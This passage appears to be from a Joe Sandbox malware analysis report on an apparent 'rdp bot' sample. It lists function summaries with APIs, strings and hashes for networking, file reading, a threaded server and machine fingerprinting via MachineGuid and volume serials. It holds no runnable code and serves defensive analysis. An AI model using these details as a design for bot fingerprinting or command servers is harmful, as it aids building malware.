[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FF8B9152ABA
[D] (%s) -> Disconnected(sock=0x%llx), xrefs: 00007FF8B9152A95
tcp_recv, xrefs: 00007FF8B9152A76, 00007FF8B9152A8E, 00007FF8B9152AB3
[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8B9152A7D

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: ErrorLastrecv
String ID: [D] (%s) -> Disconnected(sock=0x%llx)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d)$tcp_recv
API String ID: 2514157807-65069805
Opcode ID: 92f11da0d592137c33acb566b4c1e3a2f431a29a74f25d4b214e2cda57f86371
Instruction ID: 6f5303a74057ad607c5b78138d8cd0fc7aeb99e52170f154457bfad031e27db1
Opcode Fuzzy Hash: 92f11da0d592137c33acb566b4c1e3a2f431a29a74f25d4b214e2cda57f86371
Instruction Fuzzy Hash: DA118C51E0C69381FA216F2DA8406B912106F427E4F529730DA3D9AAE5EF1CF946E300

Function 00007FF708872515 Relevance: 72.0, APIs: 24, Strings: 17, Instructions: 298
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fopen.MSVCRT ref: 00007FF70887255A
fseek.MSVCRT ref: 00007FF708872579
_errno.MSVCRT ref: 00007FF70887258D
_errno.MSVCRT ref: 00007FF7088725A8
_errno.MSVCRT ref: 00007FF708872667

Part of subcall function 00007FF7088799E2: fwrite.MSVCRT ref: 00007FF708879A8E
Part of subcall function 00007FF7088799E2: fflush.MSVCRT ref: 00007FF708879A9A

_errno.MSVCRT ref: 00007FF708872682
_errno.MSVCRT ref: 00007FF7088726C0
fclose.MSVCRT ref: 00007FF708872715
_errno.MSVCRT ref: 00007FF7088727B7
_errno.MSVCRT ref: 00007FF7088727D2

Strings

[E] (%s) -> fread undone(path=%s,l=%ld,n=%ld), xrefs: 00007FF708872A4F
[E] (%s) -> fopen failed(path=%s,errno=%d), xrefs: 00007FF708872676
(((*buf) == NULL) || ((*buf_sz) > 0)), xrefs: 00007FF70887263C
[E] (%s) -> fseek(SEEK_END) failed(path=%s,errno=%d), xrefs: 00007FF70887259C
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF708872759
mem_alloc, xrefs: 00007FF70887292D
[I] (%s) -> Done(path=%s,buf_sz=%llu), xrefs: 00007FF708872AD4
fs_file_read, xrefs: 00007FF708872595, 00007FF7088725DD, 00007FF708872610, 00007FF708872643, 00007FF70887266F, 00007FF708872752, 00007FF7088727BF, 00007FF708872889, 00007FF708872954, 00007FF708872A48, 00007FF708872ACD
[E] (%s) -> fread failed(path=%s,errno=%d), xrefs: 00007FF70887295B
[E] (%s) -> fseek(SEEK_SET) failed(path=%s,errno=%d), xrefs: 00007FF708872890
(buf_sz != NULL), xrefs: 00007FF708872609
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7088725CF, 00007FF708872602, 00007FF708872635
NULL, xrefs: 00007FF708872ABB
(path != NULL), xrefs: 00007FF7088725D6
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF708872934
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7088725E4, 00007FF708872617, 00007FF70887264A
[E] (%s) -> ftell failed(path=%s,errno=%d), xrefs: 00007FF7088727C6

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: _errno$fclosefflushfopenfseekfwrite
String ID: (((*buf) == NULL) || ((*buf_sz) > 0))$(buf_sz != NULL)$(path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[E] (%s) -> fopen failed(path=%s,errno=%d)$[E] (%s) -> fread failed(path=%s,errno=%d)$[E] (%s) -> fread undone(path=%s,l=%ld,n=%ld)$[E] (%s) -> fseek(SEEK_END) failed(path=%s,errno=%d)$[E] (%s) -> fseek(SEEK_SET) failed(path=%s,errno=%d)$[E] (%s) -> ftell failed(path=%s,errno=%d)$[I] (%s) -> Done(path=%s,buf_sz=%llu)$fs_file_read$mem_alloc
API String ID: 2897271634-4162578512
Opcode ID: 066b0039191f1d6ba5b6da45dd2910b987306dccb441d82a47b06479b931fc89
Instruction ID: fa43901f16ce714c0e4427f22b3a29f5259df7e81dc25cd4f965efcb50240fe6
Opcode Fuzzy Hash: 066b0039191f1d6ba5b6da45dd2910b987306dccb441d82a47b06479b931fc89
Instruction Fuzzy Hash: D9D16F62A29A0381FA20FB15ED40FB8E761AF54794FD54032C94E472E5DF3CE5A9C328

Function 00007FF8BFAB6941 Relevance: 66.8, APIs: 10, Strings: 28, Instructions: 327
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8BFAB695C
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8BFAB6989
CreateThread.KERNEL32 ref: 00007FF8BFAB69D5
CreateThread.KERNEL32 ref: 00007FF8BFAB6A35
CreateThread.KERNEL32 ref: 00007FF8BFAB6A95
GetLastError.KERNEL32 ref: 00007FF8BFAB6AEC
GetLastError.KERNEL32 ref: 00007FF8BFAB6C08
GetLastError.KERNEL32 ref: 00007FF8BFAB6CE0

Part of subcall function 00007FF8BFABA202: fwrite.MSVCRT ref: 00007FF8BFABA2AE
Part of subcall function 00007FF8BFABA202: fflush.MSVCRT ref: 00007FF8BFABA2BA

GetLastError.KERNEL32 ref: 00007FF8BFAB6DE8

Part of subcall function 00007FF8BFABA202: EnterCriticalSection.KERNEL32 ref: 00007FF8BFABA2D3
Part of subcall function 00007FF8BFABA202: LeaveCriticalSection.KERNEL32 ref: 00007FF8BFABA2FB
Part of subcall function 00007FF8BFABA202: CopyFileA.KERNEL32 ref: 00007FF8BFABA358

GetLastError.KERNEL32 ref: 00007FF8BFAB6EE6

Strings

, xrefs: 00007FF8BFAB6C26
P, xrefs: 00007FF8BFAB6D2B
, xrefs: 00007FF8BFAB6B0A
~, xrefs: 00007FF8BFAB6B6A
server_init, xrefs: 00007FF8BFAB69F2, 00007FF8BFAB6A52, 00007FF8BFAB6AB2, 00007FF8BFAB6AD4, 00007FF8BFAB6AF7, 00007FF8BFAB6C13, 00007FF8BFAB6CEB, 00007FF8BFAB6DF3, 00007FF8BFAB6EF1, 00007FF8BFAB6FE4
P, xrefs: 00007FF8BFAB6B6F
P, xrefs: 00007FF8BFAB6E33
[E] (%s) -> CreateThread(routine_tx) failed(gle=%lu), xrefs: 00007FF8BFAB6EF8
~, xrefs: 00007FF8BFAB6D26
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFAB6FEB
[I] (%s) -> %s, xrefs: 00007FF8BFAB6ADB
[E] (%s) -> CreateThread(routine_gc) failed(gle=%lu), xrefs: 00007FF8BFAB6CF2
~, xrefs: 00007FF8BFAB6F59
[E] (%s) -> CreateThread(routine_accept) failed(gle=%lu), xrefs: 00007FF8BFAB6DFA
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_clients) failed(gle=%lu), xrefs: 00007FF8BFAB6C1A
routine_tx, xrefs: 00007FF8BFAB6AAB
, xrefs: 00007FF8BFAB6F04
~, xrefs: 00007FF8BFAB6E2E
~, xrefs: 00007FF8BFAB6C86
routine_gc, xrefs: 00007FF8BFAB69EB
[I] (%s) -> CreateThread(%s) done, xrefs: 00007FF8BFAB69F9, 00007FF8BFAB6A59, 00007FF8BFAB6AB9
P, xrefs: 00007FF8BFAB6C8F
Done, xrefs: 00007FF8BFAB6ACD
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_queue) failed(gle=%lu), xrefs: 00007FF8BFAB6AFE
P, xrefs: 00007FF8BFAB6F5E
, xrefs: 00007FF8BFAB6CFE
routine_accept, xrefs: 00007FF8BFAB6A4B
, xrefs: 00007FF8BFAB6E06

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: ErrorLast$CriticalSection$CreateThread$CountInitializeSpin$CopyEnterFileLeavefflushfwrite
String ID: $ $ $ $ $Done$P$P$P$P$P$[E] (%s) -> CreateThread(routine_accept) failed(gle=%lu)$[E] (%s) -> CreateThread(routine_gc) failed(gle=%lu)$[E] (%s) -> CreateThread(routine_tx) failed(gle=%lu)$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_clients) failed(gle=%lu)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_queue) failed(gle=%lu)$[I] (%s) -> %s$[I] (%s) -> CreateThread(%s) done$routine_accept$routine_gc$routine_tx$server_init$~$~$~$~$~
API String ID: 3214881788-719614687
Opcode ID: e9a884daacb212d4b5132a2dbbe38604ce4ccd71cb5146d75cfab6842fa0af2b
Instruction ID: 316f7cabc6ace3ccd4129ea2dcc53c8324bd2b2dcd8bf77b81e298491aafb6b7
Opcode Fuzzy Hash: e9a884daacb212d4b5132a2dbbe38604ce4ccd71cb5146d75cfab6842fa0af2b
Instruction Fuzzy Hash: 58F1EA20A0CF0785FB285BDCE8963781390AB05BEDF142372D76E063E2DE6DA9859355

Function 00007FF8BFB84BC0 Relevance: 58.0, APIs: 11, Strings: 22, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8BFB844A4: LoadLibraryA.KERNEL32 ref: 00007FF8BFB844B2

Part of subcall function 00007FF8BFB84423: GetProcAddress.KERNEL32 ref: 00007FF8BFB84443

FreeLibrary.KERNEL32 ref: 00007FF8BFB84C53
GetNativeSystemInfo.KERNEL32 ref: 00007FF8BFB84C9F
GetWindowsDirectoryA.KERNEL32 ref: 00007FF8BFB84CB8
GetLastError.KERNEL32 ref: 00007FF8BFB84CC6

Strings

P, xrefs: 00007FF8BFB84EF0
[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d), xrefs: 00007FF8BFB85012
%, xrefs: 00007FF8BFB84DC7
ntdll.dll, xrefs: 00007FF8BFB84BC8
~, xrefs: 00007FF8BFB84EE7
[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s), xrefs: 00007FF8BFB84EC3
:, xrefs: 00007FF8BFB84E19
MachineGuid, xrefs: 00007FF8BFB84DE1
, xrefs: 00007FF8BFB84E91
[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx), xrefs: 00007FF8BFB84F7C
[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu), xrefs: 00007FF8BFB84E85
SOFTWARE\Microsoft\Cryptography, xrefs: 00007FF8BFB84DE8
C:\Windows, xrefs: 00007FF8BFB84CB1, 00007FF8BFB84D9E
sys_init, xrefs: 00007FF8BFB84C31, 00007FF8BFB84C66, 00007FF8BFB84CD1, 00007FF8BFB84DAC, 00007FF8BFB84E7E, 00007FF8BFB84EBC, 00007FF8BFB84F75, 00007FF8BFB8500B, 00007FF8BFB850DA
9e146be9-c76a-4720-bcdb-53011b87bd06, xrefs: 00007FF8BFB84DDA, 00007FF8BFB84EAE
RtlGetVersion, xrefs: 00007FF8BFB84BE0
[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s), xrefs: 00007FF8BFB84DB3
[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu), xrefs: 00007FF8BFB84CD8
\, xrefs: 00007FF8BFB84E1E
[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d), xrefs: 00007FF8BFB850E1
[E] (%s) -> RtlGetVersion failed(res=%08lx), xrefs: 00007FF8BFB84C38
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB84C6D

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: Library$AddressDirectoryErrorFreeInfoLastLoadNativeProcSystemWindows
String ID: $%$9e146be9-c76a-4720-bcdb-53011b87bd06$:$C:\Windows$MachineGuid$P$RtlGetVersion$SOFTWARE\Microsoft\Cryptography$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu)$[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu)$[E] (%s) -> RtlGetVersion failed(res=%08lx)$[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d)$[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d)$[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx)$[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s)$[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s)$\$ntdll.dll$sys_init$~
API String ID: 3828489143-883582248
Opcode ID: 5ca80b4570f46501d07f7dc98a807199eaaf2e9cd8eb9a92f5d868f2bd45693d
Instruction ID: 496679b481f52713cffa1383241b7b3b0ca25ccd83f21ba4c5202b7748923bf6
Opcode Fuzzy Hash: 5ca80b4570f46501d07f7dc98a807199eaaf2e9cd8eb9a92f5d868f2bd45693d
Instruction Fuzzy Hash: 0FD1A021E0C657C1FB249B9CE4807B867A0AF857D8F559037CB5E476A6DE2CEC84C781

Function 00007FF8BFB54430 Relevance: 56.3, APIs: 10, Strings: 22, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8BFB52174: LoadLibraryA.KERNEL32 ref: 00007FF8BFB52182

Part of subcall function 00007FF8BFB520F3: GetProcAddress.KERNEL32 ref: 00007FF8BFB52113

FreeLibrary.KERNEL32 ref: 00007FF8BFB544C3
GetNativeSystemInfo.KERNEL32 ref: 00007FF8BFB5450F
GetWindowsDirectoryA.KERNEL32 ref: 00007FF8BFB54528
GetLastError.KERNEL32 ref: 00007FF8BFB54536

Strings

MachineGuid, xrefs: 00007FF8BFB54651
[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu), xrefs: 00007FF8BFB54548
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB544DD
P, xrefs: 00007FF8BFB54760
~, xrefs: 00007FF8BFB54757
[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s), xrefs: 00007FF8BFB54623
\, xrefs: 00007FF8BFB5468E
C:\Windows, xrefs: 00007FF8BFB54521, 00007FF8BFB5460E
SOFTWARE\Microsoft\Cryptography, xrefs: 00007FF8BFB54658
[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu), xrefs: 00007FF8BFB546F5
[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d), xrefs: 00007FF8BFB54882
[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d), xrefs: 00007FF8BFB54951
[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s), xrefs: 00007FF8BFB54733
%, xrefs: 00007FF8BFB54637
, xrefs: 00007FF8BFB54701
ntdll.dll, xrefs: 00007FF8BFB54438
[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx), xrefs: 00007FF8BFB547EC
sys_init, xrefs: 00007FF8BFB544A1, 00007FF8BFB544D6, 00007FF8BFB54541, 00007FF8BFB5461C, 00007FF8BFB546EE, 00007FF8BFB5472C, 00007FF8BFB547E5, 00007FF8BFB5487B, 00007FF8BFB5494A
9e146be9-c76a-4720-bcdb-53011b87bd06, xrefs: 00007FF8BFB5464A, 00007FF8BFB5471E
[E] (%s) -> RtlGetVersion failed(res=%08lx), xrefs: 00007FF8BFB544A8
RtlGetVersion, xrefs: 00007FF8BFB54450
:, xrefs: 00007FF8BFB54689

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Library$AddressDirectoryErrorFreeInfoLastLoadNativeProcSystemWindows
String ID: $%$9e146be9-c76a-4720-bcdb-53011b87bd06$:$C:\Windows$MachineGuid$P$RtlGetVersion$SOFTWARE\Microsoft\Cryptography$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu)$[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu)$[E] (%s) -> RtlGetVersion failed(res=%08lx)$[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d)$[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d)$[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx)$[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s)$[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s)$\$ntdll.dll$sys_init$~
API String ID: 3828489143-883582248
Opcode ID: 115724a50ad51f5d3a0dc080a03e658484dc1201f57563a707ab0e97b319153d
Instruction ID: 5e24a748ca0a910ce2c7f30d5d750ac1344da967546ca05caaa87a91743d58c4
Opcode Fuzzy Hash: 115724a50ad51f5d3a0dc080a03e658484dc1201f57563a707ab0e97b319153d
Instruction Fuzzy Hash: 4BD15B62E0C656D5FA249BDCE4723B9B7A0AF407D8F194132CB4E477A4DE2CF8848781

Function 00007FF8B9159770 Relevance: 56.3, APIs: 10, Strings: 22, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8B915CF94: LoadLibraryA.KERNEL32 ref: 00007FF8B915CFA2

Part of subcall function 00007FF8B915CF13: GetProcAddress.KERNEL32 ref: 00007FF8B915CF33

FreeLibrary.KERNEL32 ref: 00007FF8B9159803
GetNativeSystemInfo.KERNEL32 ref: 00007FF8B915984F
GetWindowsDirectoryA.KERNEL32 ref: 00007FF8B9159868
GetLastError.KERNEL32 ref: 00007FF8B9159876

Strings

[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s), xrefs: 00007FF8B9159A73
ntdll.dll, xrefs: 00007FF8B9159778
, xrefs: 00007FF8B9159A41
[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx), xrefs: 00007FF8B9159B2C
[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s), xrefs: 00007FF8B9159963
P, xrefs: 00007FF8B9159AA0
RtlGetVersion, xrefs: 00007FF8B9159790
[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d), xrefs: 00007FF8B9159C91
[E] (%s) -> RtlGetVersion failed(res=%08lx), xrefs: 00007FF8B91597E8
[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu), xrefs: 00007FF8B9159888
sys_init, xrefs: 00007FF8B91597E1, 00007FF8B9159816, 00007FF8B9159881, 00007FF8B915995C, 00007FF8B9159A2E, 00007FF8B9159A6C, 00007FF8B9159B25, 00007FF8B9159BBB, 00007FF8B9159C8A
[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d), xrefs: 00007FF8B9159BC2
\, xrefs: 00007FF8B91599CE
[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu), xrefs: 00007FF8B9159A35
:, xrefs: 00007FF8B91599C9
MachineGuid, xrefs: 00007FF8B9159991
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B915981D
~, xrefs: 00007FF8B9159A97
C:\Windows, xrefs: 00007FF8B9159861, 00007FF8B915994E
9e146be9-c76a-4720-bcdb-53011b87bd06, xrefs: 00007FF8B915998A, 00007FF8B9159A5E
SOFTWARE\Microsoft\Cryptography, xrefs: 00007FF8B9159998
%, xrefs: 00007FF8B9159977

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Library$AddressDirectoryErrorFreeInfoLastLoadNativeProcSystemWindows
String ID: $%$9e146be9-c76a-4720-bcdb-53011b87bd06$:$C:\Windows$MachineGuid$P$RtlGetVersion$SOFTWARE\Microsoft\Cryptography$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu)$[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu)$[E] (%s) -> RtlGetVersion failed(res=%08lx)$[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d)$[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d)$[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx)$[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s)$[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s)$\$ntdll.dll$sys_init$~
API String ID: 3828489143-883582248
Opcode ID: 072b15cb7d5467502121e7cc37fb0d8fa8f56b069e1ba42f5353c03d493d4b53
Instruction ID: 57d204d98a844dc10ff390f7b1ba0b97585744d8058b5b50d930e206ccf40b2a
Opcode Fuzzy Hash: 072b15cb7d5467502121e7cc37fb0d8fa8f56b069e1ba42f5353c03d493d4b53
Instruction Fuzzy Hash: 09D15965E0C7D781FB218F1DE8403B862A0AF417D4F964032DB5E472A6DE2DF884B792

Function 00007FF8BFAB2610 Relevance: 56.3, APIs: 10, Strings: 22, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8BFAB7474: LoadLibraryA.KERNEL32 ref: 00007FF8BFAB7482

Part of subcall function 00007FF8BFAB73F3: GetProcAddress.KERNEL32 ref: 00007FF8BFAB7413

FreeLibrary.KERNEL32 ref: 00007FF8BFAB26A3
GetNativeSystemInfo.KERNEL32 ref: 00007FF8BFAB26EF
GetWindowsDirectoryA.KERNEL32 ref: 00007FF8BFAB2708
GetLastError.KERNEL32 ref: 00007FF8BFAB2716

Strings

MachineGuid, xrefs: 00007FF8BFAB2831
[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s), xrefs: 00007FF8BFAB2803
C:\Windows, xrefs: 00007FF8BFAB2701, 00007FF8BFAB27EE
RtlGetVersion, xrefs: 00007FF8BFAB2630
~, xrefs: 00007FF8BFAB2937
, xrefs: 00007FF8BFAB28E1
9e146be9-c76a-4720-bcdb-53011b87bd06, xrefs: 00007FF8BFAB282A, 00007FF8BFAB28FE
[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d), xrefs: 00007FF8BFAB2B31
%, xrefs: 00007FF8BFAB2817
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFAB26BD
[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s), xrefs: 00007FF8BFAB2913
P, xrefs: 00007FF8BFAB2940
sys_init, xrefs: 00007FF8BFAB2681, 00007FF8BFAB26B6, 00007FF8BFAB2721, 00007FF8BFAB27FC, 00007FF8BFAB28CE, 00007FF8BFAB290C, 00007FF8BFAB29C5, 00007FF8BFAB2A5B, 00007FF8BFAB2B2A
:, xrefs: 00007FF8BFAB2869
ntdll.dll, xrefs: 00007FF8BFAB2618
SOFTWARE\Microsoft\Cryptography, xrefs: 00007FF8BFAB2838
[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu), xrefs: 00007FF8BFAB2728
[E] (%s) -> RtlGetVersion failed(res=%08lx), xrefs: 00007FF8BFAB2688
[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d), xrefs: 00007FF8BFAB2A62
[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu), xrefs: 00007FF8BFAB28D5
\, xrefs: 00007FF8BFAB286E
[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx), xrefs: 00007FF8BFAB29CC

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: Library$AddressDirectoryErrorFreeInfoLastLoadNativeProcSystemWindows
